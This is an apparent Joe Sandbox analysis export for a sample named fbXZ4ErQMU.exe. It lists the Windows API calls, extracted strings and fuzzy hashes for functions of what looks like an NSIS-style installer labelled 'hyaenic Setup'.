Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: ada5aadaf350f23a8dbf3a026041224ab9f957c4560aafed3a43088b721b475c
Instruction ID: 93961662e530d2e5a08160df11036b73ffef590b917d11c16f189fde5a143e01
Opcode Fuzzy Hash: ada5aadaf350f23a8dbf3a026041224ab9f957c4560aafed3a43088b721b475c
Instruction Fuzzy Hash: 88F09032A05021EBCB20BBA15E84DAFB2B5DF01318B21423FF502B21D1DB7C4D425A6E

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E9

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5004c81fc86d5aad5056578f097f916dd0ceefac499e9113037a72ef071e40e2
Instruction ID: c67a8691079fc4563931701ff3f7f14ff0a893aaeadd9329411c5994133067d8
Opcode Fuzzy Hash: 5004c81fc86d5aad5056578f097f916dd0ceefac499e9113037a72ef071e40e2
Instruction Fuzzy Hash: 0CD05E73B10100DBD720EBB8BAC485F77B8EB503253308837E402E2091E579C8424628

Non-executed Functions

Function 0040535C Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004053BB
GetDlgItem.USER32(?,000003EE), ref: 004053CA
GetClientRect.USER32(?,?), ref: 00405407
GetSystemMetrics.USER32(00000002), ref: 0040540E
SendMessageA.USER32(?,0000101B,00000000,?), ref: 0040542F
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405440
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405453
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405461
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405474
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405496
ShowWindow.USER32(?,00000008), ref: 004054AA
GetDlgItem.USER32(?,000003EC), ref: 004054CB
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004054DB
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004054F4
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405500
GetDlgItem.USER32(?,000003F8), ref: 004053D9

Part of subcall function 004041B0: SendMessageA.USER32(00000028,?,00000001,00403FE0), ref: 004041BE

GetDlgItem.USER32(?,000003EC), ref: 0040551C
CreateThread.KERNEL32(00000000,00000000,Function_000052F0,00000000), ref: 0040552A
CloseHandle.KERNEL32(00000000), ref: 00405531
ShowWindow.USER32(00000000), ref: 00405554
ShowWindow.USER32(?,00000008), ref: 0040555B
ShowWindow.USER32(00000008), ref: 004055A1
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004055D5
CreatePopupMenu.USER32 ref: 004055E6
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004055FB
GetWindowRect.USER32(?,000000FF), ref: 0040561B
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405634
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405670
OpenClipboard.USER32(00000000), ref: 00405680
EmptyClipboard.USER32 ref: 00405686
GlobalAlloc.KERNEL32(00000042,?), ref: 0040568F
GlobalLock.KERNEL32(00000000), ref: 00405699
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004056AD
GlobalUnlock.KERNEL32(00000000), ref: 004056C6
SetClipboardData.USER32(00000001,00000000), ref: 004056D1
CloseClipboard.USER32 ref: 004056D7

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: e77ccb86652fbc0499d97b80cacae04005d5d9073b444bb924cd904a6cf5059e
Instruction ID: ad896caeff922a337f51dbee0e8d50556c939e1053927b0f1ec287220421205b
Opcode Fuzzy Hash: e77ccb86652fbc0499d97b80cacae04005d5d9073b444bb924cd904a6cf5059e
Instruction Fuzzy Hash: 3DA14A70900608BFDB119F61DD89EAE7FB9FB08354F50403AFA45BA1A0CB754E519F68

Function 0040460D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040465C
SetWindowTextA.USER32(00000000,?), ref: 00404686
SHBrowseForFolderA.SHELL32(?,00429C68,?), ref: 00404737
CoTaskMemFree.OLE32(00000000), ref: 00404742
lstrcmpiA.KERNEL32(Call,0042A890), ref: 00404774
lstrcatA.KERNEL32(?,Call), ref: 00404780
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404792

Part of subcall function 004057F7: GetDlgItemTextA.USER32(?,?,00000400,004047C9), ref: 0040580A

Part of subcall function 004063D2: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040642A
Part of subcall function 004063D2: CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406437
Part of subcall function 004063D2: CharNextA.USER32(?,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040643C
Part of subcall function 004063D2: CharPrevA.USER32(?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040644C

GetDiskFreeSpaceA.KERNEL32(00429860,?,?,0000040F,?,00429860,00429860,?,00000001,00429860,?,?,000003FB,?), ref: 00404850
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040486B

Part of subcall function 004049C4: lstrlenA.KERNEL32(0042A890,0042A890,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004048DF,000000DF,00000000,00000400,?), ref: 00404A62
Part of subcall function 004049C4: wsprintfA.USER32 ref: 00404A6A
Part of subcall function 004049C4: SetDlgItemTextA.USER32(?,0042A890), ref: 00404A7D

Strings

C:\Users\user\tranchet, xrefs: 0040475D
/!s, xrefs: 004048C7
A, xrefs: 00404730
Call, xrefs: 0040476E, 00404773, 0040477E

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: /!s$A$C:\Users\user\tranchet$Call
API String ID: 2624150263-228845616
Opcode ID: 22496922587a79a87c82097af160ec6f00736279c4fa3eb8ac5991cd3654d7e0
Instruction ID: 02b07c61478aeb9ac600f99876a590f4236d4304051c708c1213a6c52027fc1c
Opcode Fuzzy Hash: 22496922587a79a87c82097af160ec6f00736279c4fa3eb8ac5991cd3654d7e0
Instruction Fuzzy Hash: CAA16FB1900209ABDB11EFA6DD45AAF77B8EF84314F14843BF601B62D1DB7C89418B69

Function 00406945 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1141b8caf72e3132df9e3aa140a50eda8930c9371ed3a7f86c2d2c6764d1ec0e
Instruction ID: f64ed9f862d89b69eb15ddc430260785fe10463149b241517d112065bf602f9e
Opcode Fuzzy Hash: 1141b8caf72e3132df9e3aa140a50eda8930c9371ed3a7f86c2d2c6764d1ec0e
Instruction Fuzzy Hash: 57E19BB190070ACFDB24CF59C880BAAB7F5EB45305F15892EE497A7291D378AA51CF14

Function 0040711C Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f6c7e6b8620be82bccd3d2e3e98bb61de1be8b453b643f323292903d4af905
Instruction ID: 8f207273dfcdbc59f762b6c847d1a58b94b1624b669f9e87ec0d9a9138a8e2bc
Opcode Fuzzy Hash: 99f6c7e6b8620be82bccd3d2e3e98bb61de1be8b453b643f323292903d4af905
Instruction Fuzzy Hash: 0DC15A31E04259CBCF18CF68D4905EEBBB2BF98314F25826AD8567B380D734A942CF95

Function 00404B80 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 491windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B97
GetDlgItem.USER32(?,00000408), ref: 00404BA4
GlobalAlloc.KERNEL32(00000040,?), ref: 00404BF3
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404C0A
SetWindowLongA.USER32(?,000000FC,00405192), ref: 00404C24
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404C36
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404C4A
SendMessageA.USER32(?,00001109,00000002), ref: 00404C60
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404C6C
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404C7C
DeleteObject.GDI32(00000110), ref: 00404C81
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404CAC
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404CB8
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404D52
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404D82

Part of subcall function 004041B0: SendMessageA.USER32(00000028,?,00000001,00403FE0), ref: 004041BE

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404D96
GetWindowLongA.USER32(?,000000F0), ref: 00404DC4
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404DD2
ShowWindow.USER32(?,00000005), ref: 00404DE2
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404EDD
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404F42
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404F57
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404F7B
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404F9B
ImageList_Destroy.COMCTL32(?), ref: 00404FB0
GlobalFree.KERNEL32(?), ref: 00404FC0
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00405039
SendMessageA.USER32(?,00001102,?,?), ref: 004050E2
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 004050F1
InvalidateRect.USER32(?,00000000,00000001), ref: 0040511B
ShowWindow.USER32(?,00000000), ref: 00405169
GetDlgItem.USER32(?,000003FE), ref: 00405174
ShowWindow.USER32(00000000), ref: 0040517B

Strings

/!s, xrefs: 00405121
, xrefs: 00405153
N, xrefs: 00404E1B
M, xrefs: 00404D3A

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $/!s$M$N
API String ID: 2564846305-1697469587
Opcode ID: fdda06af448e6c65fc04a67e7919175d0af5b83356ee1959317fb13923aa2151
Instruction ID: 99b70255f3faedab1c4ad885451b662392dfc0d6b29454a89b749d4faaca394f
Opcode Fuzzy Hash: fdda06af448e6c65fc04a67e7919175d0af5b83356ee1959317fb13923aa2151
Instruction Fuzzy Hash: 5D027DB0A00209AFDB20DF94DD85AAE7BB5FB44354F50813AF610BA2E0D7798D52CF58

Function 00403CA7 Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403CE3
ShowWindow.USER32(?), ref: 00403D00
DestroyWindow.USER32 ref: 00403D14
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403D30
GetDlgItem.USER32(?,?), ref: 00403D51
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403D65
IsWindowEnabled.USER32(00000000), ref: 00403D6C
GetDlgItem.USER32(?,00000001), ref: 00403E1A
GetDlgItem.USER32(?,00000002), ref: 00403E24
SetClassLongA.USER32(?,000000F2,?), ref: 00403E3E
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403E8F
GetDlgItem.USER32(?,00000003), ref: 00403F35
ShowWindow.USER32(00000000,?), ref: 00403F56
EnableWindow.USER32(?,?), ref: 00403F68
EnableWindow.USER32(?,?), ref: 00403F83
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F99
EnableMenuItem.USER32(00000000), ref: 00403FA0
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403FB8
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403FCB
lstrlenA.KERNEL32(0042A890,?,0042A890,00000000), ref: 00403FF5
SetWindowTextA.USER32(?,0042A890), ref: 00404004
ShowWindow.USER32(?,0000000A), ref: 00404138

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: f90a3406d0b8a8c4b834731162917c717653151454b1dbe7dd2907c4aa61ec43
Instruction ID: 5e2b37e592d4e435839d8b6e88a40281f914ef55e2ab9fcffeaa2cd4c4a1132c
Opcode Fuzzy Hash: f90a3406d0b8a8c4b834731162917c717653151454b1dbe7dd2907c4aa61ec43
Instruction Fuzzy Hash: 45C1D271600204AFDB21AF62ED88D2B3ABCEB95706F50053EF641B51F0CB799892DB1D

Function 004042E6 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 202windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404371
GetDlgItem.USER32(00000000,000003E8), ref: 00404385
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004043A3
GetSysColor.USER32(?), ref: 004043B4
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004043C3
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004043D2
lstrlenA.KERNEL32(?), ref: 004043D5
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004043E4
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004043F9
GetDlgItem.USER32(?,0000040A), ref: 0040445B
SendMessageA.USER32(00000000), ref: 0040445E
GetDlgItem.USER32(?,000003E8), ref: 00404489
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004044C9
LoadCursorA.USER32(00000000,00007F02), ref: 004044D8
SetCursor.USER32(00000000), ref: 004044E1
LoadCursorA.USER32(00000000,00007F00), ref: 004044F7
SetCursor.USER32(00000000), ref: 004044FA
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404526
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040453A

Strings

N, xrefs: 00404477
/!s, xrefs: 00404306
Call, xrefs: 004044B4

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: /!s$Call$N
API String ID: 3103080414-2891250886
Opcode ID: 745d5685d33c6010513eb6a6e6710873411dad37f80b0c9191fb1ce11dc8c820
Instruction ID: 2ba0dcbd17e821031ba3c657239c4b48ae58aa12c0a6ed8defdb88479dfe25c9
Opcode Fuzzy Hash: 745d5685d33c6010513eb6a6e6710873411dad37f80b0c9191fb1ce11dc8c820
Instruction Fuzzy Hash: CC61C2B1A00209BFDF10AF61DD45F6A3B69EB94754F00803AFB04BA1D1C7B8A951CF98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,hyaenic Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

hyaenic Setup, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$hyaenic Setup
API String ID: 941294808-1687442416
Opcode ID: bb71a3ab4a4fa1f895d534f8b47170c1d9b9c824dc85430c64170ade6c4bb6c2
Instruction ID: fc049dc8deed713fddbaab3278265d12b48f61153473f3c5d5e2d7be2f7e1970
Opcode Fuzzy Hash: bb71a3ab4a4fa1f895d534f8b47170c1d9b9c824dc85430c64170ade6c4bb6c2
Instruction Fuzzy Hash: 33417D71400249AFCF058FA5DE459AFBFB9FF44314F00802AF591AA1A0CB74D955DFA4

Function 00405D66 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00405EF7,?,?), ref: 00405D97
GetShortPathNameA.KERNEL32(?,0042C620,00000400), ref: 00405DA0

Part of subcall function 00405BF5: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E50,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
Part of subcall function 00405BF5: lstrlenA.KERNEL32(00000000,?,00000000,00405E50,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C37

GetShortPathNameA.KERNEL32(?,0042CA20,00000400), ref: 00405DBD
wsprintfA.USER32 ref: 00405DDB
GetFileSize.KERNEL32(00000000,00000000,0042CA20,C0000000,00000004,0042CA20,?,?,?,?,?), ref: 00405E16
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E25
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E5D
SetFilePointer.KERNEL32(0040A3D8,00000000,00000000,00000000,00000000,0042C220,00000000,-0000000A,0040A3D8,00000000,[Rename],00000000,00000000,00000000), ref: 00405EB3
GlobalFree.KERNEL32(00000000), ref: 00405EC4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405ECB

Part of subcall function 00405C90: GetFileAttributesA.KERNELBASE(00000003,00402EE1,C:\Users\user\Desktop\fbXZ4ErQMU.exe,80000000,00000003), ref: 00405C94
Part of subcall function 00405C90: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405CB6

Strings

[Rename], xrefs: 00405E45, 00405E57
%s=%s, xrefs: 00405DD1

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: bb326c4fff2569f995f741f5889aaa438d16cb529eb983989e6eb254c782141b
